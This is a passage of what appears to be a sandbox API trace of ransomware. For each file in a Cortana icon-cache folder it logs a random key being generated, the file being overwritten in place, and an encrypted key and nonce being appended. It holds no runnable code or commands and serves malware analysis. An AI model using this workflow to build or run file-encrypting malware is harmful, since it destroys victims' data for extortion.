dwFileAttributes=0x80) returned 1 [0180.674] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{92B80E70-6ED3-42E7-830D-EF665C1DCD71}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{92b80e70-6ed3-42e7-830d-ef665c1dcd71}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.674] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.674] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.687] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.687] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.688] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.688] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.688] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.688] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.688] CloseHandle (hObject=0x1af4) returned 1 [0180.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.690] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9131B142-76D7-4452-8650-524C6F4D9D07}", dwFileAttributes=0x80) returned 1 [0180.690] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{9131B142-76D7-4452-8650-524C6F4D9D07}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{9131b142-76d7-4452-8650-524c6f4d9d07}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.691] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.691] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.692] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.692] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.693] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.693] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.693] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.693] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.693] CloseHandle (hObject=0x1af4) returned 1 [0180.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.695] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.695] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{90D3E932-8AF8-49E8-98F5-070B13F94403}", dwFileAttributes=0x80) returned 1 [0180.695] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{90D3E932-8AF8-49E8-98F5-070B13F94403}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{90d3e932-8af8-49e8-98f5-070b13f94403}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.696] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.696] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.697] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.697] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.697] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.698] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.698] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.698] CloseHandle (hObject=0x1af4) returned 1 [0180.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.700] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8FEFF271-6986-41E3-9230-E590CBB9A05D}", dwFileAttributes=0x80) returned 1 [0180.700] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8FEFF271-6986-41E3-9230-E590CBB9A05D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8feff271-6986-41e3-9230-e590cbb9a05d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.700] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.700] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.713] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.713] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.713] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.713] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.714] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.714] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.714] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.714] CloseHandle (hObject=0x1af4) returned 1 [0180.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.718] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.718] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}", dwFileAttributes=0x80) returned 1 [0180.719] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8E1A4C76-0757-46CC-AC4A-23B132F1BB0B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8e1a4c76-0757-46cc-ac4a-23b132f1bb0b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.719] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.719] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.720] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.720] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.720] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.721] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.721] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.721] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.721] CloseHandle (hObject=0x1af4) returned 1 [0180.723] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.723] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.723] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8CBD0221-57D1-4FDF-9D21-5922534D0822}", dwFileAttributes=0x80) returned 1 [0180.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8CBD0221-57D1-4FDF-9D21-5922534D0822}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8cbd0221-57d1-4fdf-9d21-5922534d0822}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.723] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.723] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.725] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.725] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.725] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.725] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.725] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.726] CloseHandle (hObject=0x1af4) returned 1 [0180.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.727] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.727] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8C4A08B7-5CDB-4669-9FDA-D68576361570}", dwFileAttributes=0x80) returned 1 [0180.728] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8C4A08B7-5CDB-4669-9FDA-D68576361570}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8c4a08b7-5cdb-4669-9fda-d68576361570}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.728] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.728] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.730] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.730] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.730] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.730] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.730] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.730] CloseHandle (hObject=0x1af4) returned 1 [0180.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.732] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{89401BAE-1680-4ACA-85C1-003BB13BCBCC}", dwFileAttributes=0x80) returned 1 [0180.732] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{89401BAE-1680-4ACA-85C1-003BB13BCBCC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{89401bae-1680-4aca-85c1-003bb13bcbcc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.733] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.733] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.734] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.734] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.734] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.734] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.734] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.734] CloseHandle (hObject=0x1af4) returned 1 [0180.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.736] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.736] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8428D171-5820-4E58-8DDB-7ED13951D0DF}", dwFileAttributes=0x80) returned 1 [0180.736] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8428D171-5820-4E58-8DDB-7ED13951D0DF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8428d171-5820-4e58-8ddb-7ed13951d0df}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.737] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.737] ReadFile (in: 